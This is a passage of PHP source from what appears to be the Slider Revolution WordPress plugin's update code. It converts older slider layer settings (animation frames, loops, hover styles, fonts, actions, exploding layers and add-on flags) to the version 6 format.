'sfxcolor' => $color_picker->correctValue($this->get_val($frame_999, 'sfxcolor', '#ffffff')), 'mask' => array( 'use' => $this->conv_perc_vals($this->get_val($layer, 'mask_end', false)), 'x' => $this->conv_perc_vals($this->get_val($layer, 'mask_x_end', 0)), 'y' => $this->conv_perc_vals($this->get_val($layer, 'mask_y_end', 0)), ), 'chars' => array( 'use' => ($endsplit === 'chars'), 'direction' => $this->get_val($frame_0, 'split_direction', 'forward'), 'delay' => (empty($frame_0)) ? $this->get_val($layer, 'endsplitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5), 'x' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'x_end')) : 'inherit', 'y' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'y_end')) : 'inherit', 'z' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'z_end')) : 'inherit', 'scaleX' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'scale_x_end')) : 'inherit', 'scaleY' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'scale_y_end')) : 'inherit', 'opacity' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'opacity_end')) : 'inherit', 'rotationX' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'x_rotate_end')) : 'inherit', 'rotationY' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'y_rotate_end')) : 'inherit', 'rotationZ' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'z_rotate_end')) : 'inherit', 'skewX' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'skew_x_end')) : 'inherit', 'skewY' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'skew_y_end')) : 'inherit', ), 'words' => array( 'use' => ($endsplit === 'words'), 'direction' => $this->get_val($frame_0, 'split_direction', 'forward'), 'delay' => (empty($frame_0)) ? $this->get_val($layer, 'endsplitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5), 'x' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'x_end')) : 'inherit', 'y' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'y_end')) : 'inherit', 'z' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'z_end')) : 'inherit', 'scaleX' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'scale_x_end')) : 'inherit', 'scaleY' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'scale_y_end')) : 'inherit', 'opacity' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'opacity_end')) : 'inherit', 'rotationX' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'x_rotate_end')) : 'inherit', 'rotationY' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'y_rotate_end')) : 'inherit', 'rotationZ' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'z_rotate_end')) : 'inherit', 'skewX' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'skew_x_end')) : 'inherit', 'skewY' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'skew_y_end')) : 'inherit', ), 'lines' => array( 'use' => ($endsplit === 'lines'), 'direction' => $this->get_val($frame_0, 'split_direction', 'forward'), 'delay' => (empty($frame_0)) ? $this->get_val($layer, 'endsplitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5), 'x' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'x_end')) : 'inherit', 'y' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'y_end')) : 'inherit', 'z' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'z_end')) : 'inherit', 'scaleX' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'scale_x_end')) : 'inherit', 'scaleY' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'scale_y_end')) : 'inherit', 'opacity' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'opacity_end')) : 'inherit', 'rotationX' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'x_rotate_end')) : 'inherit', 'rotationY' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'y_rotate_end')) : 'inherit', 'rotationZ' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'z_rotate_end')) : 'inherit', 'skewX' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'skew_x_end')) : 'inherit', 'skewY' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'skew_y_end')) : 'inherit', ), )/*, $_f['999']*/ ), ), 'static' => array( 'start' => $this->get_val($layer, 'static_start', 1), 'end' => $this->get_val($layer, 'static_end', 'last'), ), 'loop' => $this->default_loop_frame( array( 'use' => ($this->get_val($layer, 'loop_animation', 'none') !== 'none') ? true : false, 'ease' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 'none' : $this->get_val($layer, 'loop_easing', 'none'), 'speed' => ($this->get_val($layer, 'loop_animation', 'rs-wave') === 'rs-wave') ? $this->get_val($layer, 'loop_speed', 1) * 1000 : $this->get_val($layer, 'loop_speed', 1) * 2000, 'originX' => $this->get_val($layer, 'loop_xorigin', '50%'), 'originY' => $this->get_val($layer, 'loop_yorigin', '50%'), 'radiusAngle' => 0, 'curviness' => 2, 'curved' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? true : false, 'yoyo_move' => ($this->get_val($layer, 'loop_animation', 'rs-wave') === 'rs-wave') ? false : true, 'yoyo_rotate' => ($this->get_val($layer, 'loop_animation') === 'rs-pendulum') ? true : false, 'yoyo_scale' => ($this->get_val($layer, 'loop_animation', 'none') !== 'none') ? true : false, 'yoyo_filter' => ($this->get_val($layer, 'loop_animation', 'none') !== 'none') ? true : false, 'repeat' => '-1', 'start' => 300, 'autoRotate' => false, 'frame_0' => array( 'xr' => $this->get_val($layer, 'loop_radius', 0), 'yr' => $this->get_val($layer, 'loop_radius', 0), 'zr' => 0, 'x' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 0 : $this->get_val($layer, 'loop_xstart', 0), 'y' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 0 : $this->get_val($layer, 'loop_ystart', 0), 'z' => 0, 'scaleX' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 1 : $this->get_val($layer, 'loop_zoomstart', 1), 'scaleY' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 1 : $this->get_val($layer, 'loop_zoomstart', 1), 'opacity' => 1, 'rotationX' => 0, 'rotationY' => 0, 'rotationZ' => ($this->get_val($layer, 'loop_animation') !== 'rs-rotate' && $this->get_val($layer, 'loop_animation') !== 'rs-pendulum') ? 0 : $this->get_val($layer, 'loop_startdeg', 0), 'skewX' => 0, 'skewY' => 0, 'blur' => 0, 'brightness' => 100, 'grayscale' => 0 ), 'frame_999' => array( 'xr' => $this->get_val($layer, 'loop_radius', 0), 'yr' => $this->get_val($layer, 'loop_radius', 0), 'zr' => 0, 'x' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 0 : $this->get_val($layer, 'loop_xend', 0), 'y' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 0 : $this->get_val($layer, 'loop_yend', 0), 'z' => 0, 'scaleX' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 1 : $this->get_val($layer, 'loop_zoomend', 1), 'scaleY' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 1 : $this->get_val($layer, 'loop_zoomend', 1), 'opacity' => 1, 'rotationX' => 0, 'rotationY' => 0, 'rotationZ' => ($this->get_val($layer, 'loop_animation') !== 'rs-rotate' && $this->get_val($layer, 'loop_animation') !== 'rs-pendulum') ? 0 : $this->get_val($layer, 'loop_enddeg', 0), 'skewX' => 0, 'blur' => 0, 'brightness' => 100, 'grayscale' => 0 ), 'loop_animation' => $this->get_val($layer, 'loop_animation', 'none') ) ) ); //} /** * change timeline values of frame_1 depending on frame_0 **/ /*$change = array( 'x' => 0, 'y' => 0, 'z' => 0, 'rotationX' => 0, 'rotationY' => 0, 'rotationZ' => 0, 'scaleX' => 0, 'scaleY' => 0, 'skewX' => 0, 'skewY' => 0, 'opacity' => 1 ); foreach($change as $ck => $cv){ if(isset($ml['timeline']['frames']['frame_0'][$ck])){ if($ml['timeline']['frames']['frame_0'][$ck] !== $cv){ $ml['timeline']['frames']['frame_1'][$ck] = $cv; } } }*/ if($ml['timeline']['frames']['frame_0']['filter']['use'] === true){ $ml['timeline']['frames']['frame_1']['filter']['use'] = true; } if(isset($ml['timeline']) && isset($ml['timeline']['frames']) && isset($ml['timeline']['frames']['frame_0']) && isset($ml['timeline']['frames']['frame_0']['timeline']) && isset($ml['timeline']['frames']['frame_0']['timeline']['endWithSlide'])){ unset($ml['timeline']['frames']['frame_0']['timeline']['endWithSlide']); } $ml['effects'] = array( 'effect' => 'default', //($this->on_counter >= 2 && $blank === false) ? true : false 'parallax' => $this->get_val($deformation, 'parallax', '-'), 'attachToBg' => ($this->get_val($layer, 'parallax_layer_ddd_zlevel') === 'bg') ? true : false ); if($blank === false){ //only do this if we are not creating a blank layer if($this->on_counter === 1){ if($this->on_layers === true){ if($this->static_slide === false && ($this->parallax_slider === false || $this->parallax_slider === true && $ml['effects']['parallax'] === '-')){ $ml['effects']['effect'] = 'true'; } } if($this->on_static_layers === true){ if($this->static_slide === true && ($this->parallax_slider === false || $this->parallax_slider === true && $ml['effects']['parallax'] === '-')){ $ml['effects']['effect'] = 'true'; } } if($this->on_parallax_layers === true){ if($this->static_slide === false && $this->parallax_slider === true){ if($ml['effects']['parallax'] !== '-'){ $ml['effects']['effect'] = 'true'; } } } if($this->on_parallax_static_layers === true){ if($this->static_slide === true && $this->parallax_slider === true){ if($ml['effects']['parallax'] !== '-'){ $ml['effects']['effect'] = 'true'; } } } }elseif($this->on_counter >= 2){ $matches = false; if($this->on_layers === true){ if($this->static_slide === false && ($this->parallax_slider === false || $this->parallax_slider === true && $ml['effects']['parallax'] === '-')){ $matches = true; } } if($this->on_static_layers === true){ if($this->static_slide === true && ($this->parallax_slider === false || $this->parallax_slider === true && $ml['effects']['parallax'] === '-')){ $matches = true; } } if($this->on_parallax_layers === true){ if($this->static_slide === false && $this->parallax_slider === true){ if($ml['effects']['parallax'] !== '-'){ $matches = true; } } } if($this->on_parallax_static_layers === true){ if($this->static_slide === true && $this->parallax_slider === true){ if($ml['effects']['parallax'] !== '-'){ $matches = true; } } } if($matches === false){ $ml['effects']['effect'] = 'false'; } } } // see comment in ColorPicker class for new "correctValue" function $deformation['background-color'] = $color_picker->correctValue($this->get_val($deformation, 'background-color'), $this->get_val($deformation, 'background-transparency', false)); if($this->get_val($deformation, 'color-transparency', false) !== false){ $static_color = $this->get_val($static_styles, 'color', array()); if(!empty($static_color)){ foreach($static_color as $i => $s_color){ $this->set_val($static_styles, array('color', $i), $color_picker->convert($s_color, $this->get_val($deformation, 'color-transparency') * 100)); } } } // CHECK IF OLDER OBJ PADDING EXISTS (WITHOUT 4 LEVELS) $pdng = $this->get_val($layer, 'padding'); //done this way for older php versions $layer['padding'] = (!empty($pdng)) ? $pdng : $this->get_val($deformation, 'padding'); if($this->get_val($layer, 'displaymode', false) !== false){ if($this->get_val($layer, 'displaymode') === 'true' || $this->get_val($layer, 'displaymode') === true){ $display = 'block'; }else{ $display = 'inline-block'; } }else{ $display = $this->get_val($layer, 'display', $this->get_val($layer, 'display', 'block')); } $bgc = $this->get_val($deformation, 'background-color', 'transparent'); $bgt = $this->get_val($deformation, 'background-transparency', false); // see comment in ColorPicker class for new "correctValue" function $bgc = $color_picker->correctValue($bgc, $bgt); $cl = $this->get_val($deformation, 'corner_left', 'nothing'); $cr = $this->get_val($deformation, 'corner_right', 'nothing'); $cl = $this->get_val($this->_corners['cornerLeft'], $cl, 'none'); $cr = $this->get_val($this->_corners['cornerRight'], $cr, 'none'); $fs = $this->_truefalse($this->get_val($deformation, 'font-style', false)); $fs = ($fs === 'normal') ? false : $fs; $fs = ($fs === 'italic') ? true : $fs; $ml['idle'] = array( 'style' => $this->get_val($layer, 'style', ''), 'color' => $this->c_to_resp(array('default' => '#ffffff', 'val' => $this->get_val($static_styles, 'color', '#ffffff'))), 'margin' => $this->c_to_resp(array('default' => array(0, 0, 0, 0), 'val' => $this->get_val($layer, 'margin'))), 'padding' => $this->c_to_resp(array('debug' => true, 'default' => array(0, 0, 0, 0), 'val' => $this->get_val($layer, 'padding'))), 'marginLock' => false, 'paddingLock' => false, 'borderWidthLock' => false, 'borderRadiusLock' => false, 'autolinebreak' => $this->_truefalse($this->get_val($layer, 'autolinebreak', true)), 'display' => $display, 'fontFamily' => str_replace('"', '', $this->get_val($deformation, 'font-family', 'Roboto')), 'fontStyle' => $fs, 'fontSize' => $this->c_to_resp(array('default' => '20', 'val' => $this->get_val($static_styles, 'font-size'))), 'fontWeight' => $this->c_to_resp(array('default' => '400', 'val' => $this->get_val($static_styles, 'font-weight'))), 'letterSpacing' => $this->c_to_resp(array('default' => '0', 'val' => $this->get_val($static_styles, 'letter-spacing'))), 'lineHeight' => $this->c_to_resp(array('default' => '25', 'val' => $this->get_val($static_styles, 'line-height'))), 'overflow' => $this->get_val($deformation, 'overflow', 'visible'), 'textAlign' => $this->c_to_resp(array('default' => 'left', 'val' => $this->get_val($layer, 'text-align', $this->get_val($deformation, 'text-align')))), 'verticalAlign' => $this->get_val($deformation, 'vertical-align', 'top'), 'cursor' => $this->get_val($deformation_hover, 'css_cursor', 'auto'), 'backgroundColor' => $bgc, 'backgroundPosition' => $this->get_val($layer, 'layer_bg_position', 'center center'), 'backgroundRepeat' => $this->get_val($layer, 'layer_bg_repeat', 'no-repeat'), 'backgroundSize' => $this->get_val($layer, 'layer_bg_size', 'cover'), 'backgroundImage' => $this->get_val($layer, 'bgimage_url', ''), 'backgroundImageId' => $this->get_image_id_by_url($this->get_val($layer, 'bgimage_url')), 'borderColor' => $color_picker->correctValue($this->get_val($deformation, 'border-color', 'transparent'), $this->get_val($deformation, 'border-transparency', false)), 'borderRadius' => $this->c_to_v_and_u(array('default' => array(0, 0, 0, 0), 'val' => $this->get_val($deformation, 'border-radius', array(0, 0, 0, 0)), 'u' => '%')), 'borderStyle' => $this->c_to_resp(array('default' => 'none', 'val' => $this->get_val($deformation, 'border-style', 'none'))), 'borderWidth' => $this->make_array($this->get_val($deformation, 'border-width', 0), 4), 'textDecoration' => $this->get_val($deformation, 'text-decoration', 'none'), 'textTransform' => $this->get_val($deformation, 'text-transform', 'none'), 'whiteSpace' => $this->c_to_resp(array('default' => 'nowrap', 'val' => $this->get_val($layer, 'whitespace'))), 'boxShadow' => array( 'inuse' => false, 'container' => 'content', 'hoffset' => $this->c_to_resp(array('default' => 0, 'val' => 0)), 'voffset' => $this->c_to_resp(array('default' => 0, 'val' => 0)), 'blur' => $this->c_to_resp(array('default' => 0, 'val' => 0)), 'spread' => $this->c_to_resp(array('default' => 0, 'val' => 0)), 'color' => 'rgba(0,0,0,0)', ), 'textShadow' => array( 'inuse' => false, 'hoffset' => $this->c_to_resp(array('default' => 0, 'val' => 0)), 'voffset' => $this->c_to_resp(array('default' => 0, 'val' => 0)), 'blur' => $this->c_to_resp(array('default' => 0, 'val' => 0)), 'color' => 'rgba(0,0,0,0)', ), 'filter' => array( 'blendMode' => $this->get_val($layer, 'layer_blend_mode', 'normal'), 'showInEditor' => true, ), 'cornerLeft' => $cl, 'cornerRight' => $cr, 'selectable' => $this->get_val($deformation, 'layer-selectable', 'default'), 'svg' => array( 'color' => $this->c_to_resp(array('default' => '#ffffff', 'val' => $this->get_val($static_styles, 'color', '#ffffff'))), 'strokeColor' => $this->get_val($svg, 'svgstroke-color', 'transparent'), 'strokeDashArray' => $this->get_val($svg, 'svgstroke-dasharray', 0), 'strokeDashOffset' => $this->get_val($svg, 'svgstroke-dashoffset', 0), 'strokeWidth' => $this->get_val($svg, 'svgstroke-width', 0), ) ); /** * check if fontfamily is a google font * if yes * -> check if fontweight exists in this google font * -> If no, reset to 400 **/ $_ff = str_replace(array('"', '"'), '', $ml['idle']['fontFamily']); if(isset($this->googlefonts[$_ff])){ $_fw = $ml['idle']['fontWeight']; if(is_array($_fw)){ foreach($_fw as $device => $d_val){ $_d_v = $this->get_val($d_val, 'v'); //check if fontweight exists! $fw = $this->get_val($this->googlefonts, array($_ff, 'variants'), array()); $fw_found = false; if(!empty($fw)){ foreach($fw as $w){ if($w == $_d_v){ $fw_found = true; break; } } } if($fw_found === false){ if(!empty($fw)){ if($_d_v > 400) arsort($fw); //change array from high to low foreach($fw as $w){ $w = intval($w); if($w === 0) continue; //remove the italic ones if($_d_v < 400){ //get next bigger one if($w > $_d_v){ $ml['idle']['fontWeight'][$device]['v'] = $w; break; } }else{ //get next lower one if($w < $_d_v){ $ml['idle']['fontWeight'][$device]['v'] = $w; break; } } } //if not found, jump to the first found if(intval($_d_v) == $ml['idle']['fontWeight'][$device]['v']){ asort($fw); //sort back from lowest to hightest foreach($fw as $w){ $w = intval($w); if($w === 0) continue; //remove the italic ones $ml['idle']['fontWeight'][$device]['v'] = $w; break; } } //$ml['idle']['fontWeight'] = $this->c_to_resp(array('default' => '400', 'val' => $ml['idle']['fontWeight'])); } } } } } $colorch = $this->get_val($deformation_hover, 'color', '#ffffff'); $colorht = $this->get_val($deformation_hover, 'color-transparency', false); if($colorht !== false) $colorch = $color_picker->convert($colorch, $colorht); $bghc = $this->get_val($deformation_hover, 'background-color', 'transparent'); $bght = $this->get_val($deformation_hover, 'background-transparency', false); // see comment in ColorPicker class for new "correctValue" function $bghc = $color_picker->correctValue($bghc, $bght); $hover_pe = (strpos($this->get_val($layer, 'attrClasses', ''), 'nopointerevent') !== false) ? 'none' : $this->get_val($deformation_hover, 'pointer_events', 'auto'); $hover_pe = (strpos($this->get_val($layer, 'attrClasses', ''), 'tp-nopointer') !== false) ? 'none' : $hover_pe; $hover_pe = (strpos($this->get_val($layer, 'attrWrapperClasses', ''), 'nopointerevent') !== false) ? 'none' : $hover_pe; $hover_pe = (strpos($this->get_val($layer, 'attrWrapperClasses', ''), 'tp-nopointer') !== false) ? 'none' : $hover_pe; $ml['hover'] = array( 'usehover' => $this->_truefalse($this->get_val($layer, 'hover', false)), 'color' => $colorch, 'opacity' => $this->get_val($deformation_hover, 'opacity', 1), 'backgroundColor' => $bghc, 'borderColor' => $color_picker->correctValue($this->get_val($deformation_hover, 'border-color', 'transparent'), $this->get_val($deformation_hover, 'border-transparency', false)), 'borderRadius' => $this->c_to_v_and_u(array('default' => array(0, 0, 0, 0), 'val' => $this->get_val($deformation_hover, 'border-radius', array(0, 0, 0, 0)), 'u' => '%')), 'borderStyle' => $this->get_val($deformation_hover, 'border-style', 'none'), 'borderWidth' => $this->make_array($this->get_val($deformation_hover, 'border-width', 0), 4), 'transformPerspective' => '600', 'originX' => $this->get_val($deformation_hover, '2d_origin_x', '50%'), 'originY' => $this->get_val($deformation_hover, '2d_origin_y', '50%'), 'originZ' => '0', 'rotationZ' => $this->get_val($deformation_hover, '2d_rotation', 0), 'rotationX' => $this->get_val($deformation_hover, 'xrotate', 0), 'rotationY' => $this->get_val($deformation_hover, 'yrotate', 0), 'scaleX' => $this->get_val($deformation_hover, 'scalex', 1), 'scaleY' => $this->get_val($deformation_hover, 'scaley', 1), 'skewX' => $this->get_val($deformation_hover, 'skewx', 0), 'skewY' => $this->get_val($deformation_hover, 'skewy', 0), 'textDecoration' => $this->get_val($deformation_hover, 'text-decoration', 'none'), 'x' => $this->get_val($deformation_hover, 'x', 0), 'y' => $this->get_val($deformation_hover, 'y', 0), 'z' => $this->get_val($deformation_hover, 'z', 0), 'speed' => $this->get_val($deformation_hover, 'speed', 300), 'ease' => $this->get_val($deformation_hover, 'easing', 'none'), //power3.inOut 'zIndex' => $this->get_val($deformation_hover, 'zindex', 'auto'), 'pointerEvents' => $hover_pe, 'filter' => array( 'grayscale' => $this->get_val($deformation_hover, 'grayscalefilter', 0), 'brightness' => $this->get_val($deformation_hover, 'brightnessfilter', 100), 'blur' => $this->get_val($deformation_hover, 'blurfilter', 0), ), 'svg' => array( 'color' => $this->get_val($deformation_hover, 'color', '#ffffff'), 'strokeColor' => $this->get_val($svg, 'svgstroke-hover-color', 'transparent'), 'strokeDashArray' => $this->get_val($svg, 'svgstroke-hover-dasharray', 0), 'strokeDashOffset' => $this->get_val($svg, 'svgstroke-hover-dashoffset', 0), 'strokeWidth' => $this->get_val($svg, 'svgstroke-hover-width', 0), ), ); $ml['actions'] = array( 'action' => array(), 'animationoverwrite' => $this->get_val($layer, 'animation_overwrite', 'default'), 'triggerMemory' => $this->get_val($layer, 'trigger_memory', 'reset'), ); if(!empty($layer_action)){ $actions = $this->get_val($layer_action, 'action'); foreach($actions as $i => $action){ $ml['actions']['action'][] = array(); foreach($layer_action as $attr => $l_action){ if(isset($l_action[$i])){ $ml['actions']['action'][$i][$attr] = $l_action[$i]; }else{ $ml['actions']['action'][$i][$attr] = ''; } } } $new_actions = $this->get_val($ml, array('actions', 'action'), array()); if(!empty($new_actions)){ foreach($new_actions as $a_k => $n_a){ if(in_array($this->get_val($n_a, 'action'), array('start_in', 'start_out', 'toggle_layer'), true)){ $this->slide_action_map[] = ($this->static_slide) ? 'static-'.$this->get_val($n_a, 'layer_target') : $this->get_val($n_a, 'layer_target'); } //group row column if(in_array($this->get_val($ml, 'type', 'text'), array('row', 'group', 'column'), true)){ if($this->get_val($n_a, 'action') === 'link'){ $ml['actions']['action'][$a_k]['link_type'] = 'jquery'; } } } } } $ml['visibility'] = array( 'visible' => ($this->get_val($layer, 'visible', 'invisible') === 'invisible') ? true : $this->_truefalse($this->get_val($layer, 'visible', true)), 'locked' => false, 'd' => $this->_truefalse($this->get_val($layer, 'visible-desktop', true)), 'm' => $this->_truefalse($this->get_val($layer, 'visible-mobile', true)), 'n' => $this->_truefalse($this->get_val($layer, 'visible-notebook', true)), 't' => $this->_truefalse($this->get_val($layer, 'visible-tablet', true)), 'hideunder' => $this->_truefalse($this->get_val($layer, 'hiddenunder', false)), 'onlyOnSlideHover' => $this->_truefalse($this->get_val($layer, 'show-on-hover', false)), ); $ml['runtime'] = $this->get_val($layer, 'runtime', array( 'internalClass' => $this->get_val($layer, 'internal_class', ''), 'isDemo' => false, 'unavailable' => false, )); $ml['customCSS'] = ''; $ml['customHoverCSS'] = ''; $inline = $this->get_val($layer, 'inline', array()); $idle = $this->get_val($inline, 'idle', false); $hover = $this->get_val($inline, 'hover', false); if($idle !== false && (is_object($idle) || is_array($idle)) && !empty($idle)){ foreach($idle as $key => $idl){ $ml['customCSS'] .= $key .':'. $idl . ";\n"; } } if($hover !== false && (is_object($hover) || is_array($hover)) && !empty($hover)){ foreach($hover as $key => $hov){ $ml['customHoverCSS'] .= $key .':'. $hov . ";\n"; } } //add navigation advanced style idle if set into the customCSS //add navigation advanced style hover if set into the customHoverCSS $_style = $this->get_val($ml, array('idle', 'style'), ''); if($_style !== ''){ $css = $this->get_css_navigations(); $_adv = $this->get_val($css, '.tp-caption.'.$_style, array()); if(!empty($_adv)){ $_idle = $this->get_val($_adv, array('advanced', 'idle'), array()); $_hover = $this->get_val($_adv, array('advanced', 'hover'), array()); if(!empty($_idle) && is_array($_idle)){ foreach($_idle as $ik => $iv){ $ml['customCSS'] .= $ik.':'.$iv.';'."\n"; } } if(!empty($_hover) && is_array($_hover)){ foreach($_hover as $hk => $hv){ $ml['customHoverCSS'] .= $hk.':'.$hv.';'."\n"; } } //check also params for css which is not default selectable //check also hover for css which is not default selectable //push letter-spacing if it was not available already if($this->get_val($static_styles, 'letter-spacing') === ''){ $ls = $this->get_val($_adv, array('params', 'letter-spacing')); if($ls !== ''){ $ml['idle']['letterSpacing'] = $this->c_to_resp(array('default' => '0', 'val' => $ls)); } } } } // exploding layers migration $exploding = $this->get_val($layer, 'explodinglayers', false); if(!empty($exploding)){ $frames = $this->get_val($layer, 'frames', array()); $frame_0 = $this->get_val($frames, 'frame_0', array()); $frame_999 = $this->get_val($frames, 'frame_999', array()); $enabled_in = $this->get_val($frame_0, 'animation', false); $enabled_out = $this->get_val($frame_999, 'animation', false); // animation in enabled if($enabled_in === 'explodinglayers'){ $ml['timeline']['frames']['frame_1']['explodinglayers'] = $this->write_exploding_layer($exploding, 'in'); } // handle 'auto reverse' possibility if($enabled_out === 'auto') $enabled_out = $enabled_in === 'explodinglayers' ? 'explodinglayers' : false; // animation out enabled if($enabled_out === 'explodinglayers'){ $ml['timeline']['frames']['frame_999']['explodinglayers'] = $this->write_exploding_layer($exploding, 'out'); } } return $ml; } /** * remove unneeded data from the slider settings **/ public function remove_unneeded_slider_settings($sliders){ $sr = new RevSliderSlider(); $sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ $update = false; $params = $slider->get_params(); /** * the particles addon data * are not needed in the slider settings **/ if($this->get_val($params, array('addOns', 'revslider-particles-addon', 'enable'), false) !== false){ $this->set_val($params, array('addOns', 'revslider-particles-addon'), array()); $this->set_val($params, array('addOns', 'revslider-particles-addon', 'enable'), true); $update = true; } if($update === true){ $slider->update_params($params, true); } } } } /** * exploding layers migration **/ private function write_exploding_layer($exploding, $tpe){ $color = $this->get_val($exploding, 'color_' . $tpe, array('#000000')); $density = $this->get_val($exploding, 'density_' . $tpe, array('1')); $direction = $this->get_val($exploding, 'direction_' . $tpe, array('left')); $padding = $this->get_val($exploding, 'padding_' . $tpe, array('150')); $power = $this->get_val($exploding, 'power_' . $tpe, array('2')); $randomsize = $this->get_val($exploding, 'randomsize_' . $tpe, array(false)); $randomspeed = $this->get_val($exploding, 'randomspeed_' . $tpe, array(false)); $size = $this->get_val($exploding, 'size_' . $tpe, array('5')); $speed = $this->get_val($exploding, 'speed_' . $tpe, array('1')); $style = $this->get_val($exploding, 'style_' . $tpe, array('fill')); $sync = $this->get_val($exploding, 'sync_' . $tpe, array(false)); $type = $this->get_val($exploding, 'type_' . $tpe, array('circle')); $sync = is_array($sync) ? $sync[0] : $sync; $randomsize = is_array($randomsize) ? $randomsize[0] : $randomsize; $randomspeed = is_array($randomspeed) ? $randomspeed[0] : $randomspeed; // previous values used to be 4 levels, convert to 1 level via Kris suggestion return array( 'type' => is_array($type) ? $type[0] : $type, 'color' => is_array($color) ? $color[0] : $color, 'density' => is_array($density) ? $density[0] : $density, 'direction' => is_array($direction) ? $direction[0] : $direction, 'padding' => is_array($padding) ? $padding[0] : $padding, 'power' => is_array($power) ? $power[0] : $power, 'size' => is_array($size) ? $size[0] : $size, 'speed' => is_array($speed) ? $speed[0] : $speed, 'style' => is_array($style) ? $style[0] : $style, 'sync' => $this->_truefalse($sync), 'randomsize' => $this->_truefalse($randomsize), 'randomspeed' => $this->_truefalse($randomspeed), 'use' => true ); } /** * If the plugin was WP activated in 5.0, it needs to be "enabled" in 6.0 * Only 404 and Maintenance had individual "active" options. All others were auto-active in 5.0 **/ private function change_global_addon_settings_to_6_0(){ include_once(ABSPATH . 'wp-admin/includes/plugin.php'); if(function_exists('is_plugin_active')){ // 404 pages if(is_plugin_active('revslider-404-addon/revslider-404-addon.php')){ $settings = get_option('revslider_404_addon'); if($settings !== false){ $options = array(); parse_str($settings, $options); if(isset($options['revslider-404-addon-active']) && intval($options['revslider-404-addon-active'])){ update_option('revslider_404_enabled', 1); } } } // maintenance & coming soon if(is_plugin_active('revslider-maintenance-addon/revslider-maintenance-addon.php')){ $settings = get_option('revslider_maintenance_addon'); if($settings !== false){ $options = array(); parse_str($settings, $options); if(isset($options['revslider-maintenance-addon-active']) && intval($options['revslider-maintenance-addon-active'])){ update_option('revslider_maintenance_enabled', 1); } } } // slide backups // 5.0 Slide backups get converted dynamically if/when the user attempts to restore them // This conversion takes place inside the AddOn's "restore_slide_backup" function if(is_plugin_active('revslider-backup-addon/revslider-backup-addon.php')){ update_option('revslider_backup_enabled', 1); } // featured slider if(is_plugin_active('revslider-featured-addon/revslider-featured-addon.php')){ update_option('revslider_featured_enabled', 1); } // wp gallery if(is_plugin_active('revslider-gallery-addon/revslider-gallery-addon.php')){ update_option('revslider_gallery_enabled', 1); } // login if(is_plugin_active('revslider-login-addon/revslider-login-addon.php')){ update_option('revslider_login_enabled', 1); } // social sharing if(is_plugin_active('revslider-sharing-addon/revslider-sharing-addon')){ update_option('revslider_sharing_enabled', 1); } // related posts slider if(is_plugin_active('revslider-rel-posts-addon/revslider-rel-posts-addon.php')){ update_option('revslider_rel_posts_enabled', 1); } // prev/next slider if(is_plugin_active('revslider-prevnext-posts-addon/revslider-prevnext-posts-addon.php')){ update_option('revslider_prevnext_posts_enabled', 1); } } } /** * change the global setting to 6.2.0 **/ public function change_global_settings_to_6_2_0(){ $global = maybe_unserialize(get_option('revslider-global-settings', '')); //get the old structure as serialized $global = (!is_array($global)) ? json_decode($global, true) : $global; if(is_array($global)){ //means we are not json, so we are on 5.x $version = $this->get_val($global, 'version', '1.0.0'); if(version_compare($version, '6.2.0', '>=')) return true; //already on 6.0 $global['version'] = '6.2.0'; if(isset($global['customfonts'])){ $global['customFontList'] = array(); $cfa = (!empty($global['customfonts'])) ? explode(',', $global['customfonts']) : ''; //pre 6.2.0 if(!empty($cfa)){ foreach($cfa as $font){ $global['customFontList'][] = array( 'family' => $font, 'url' => '', 'frontend' => false, 'backend' => true, 'weights' => 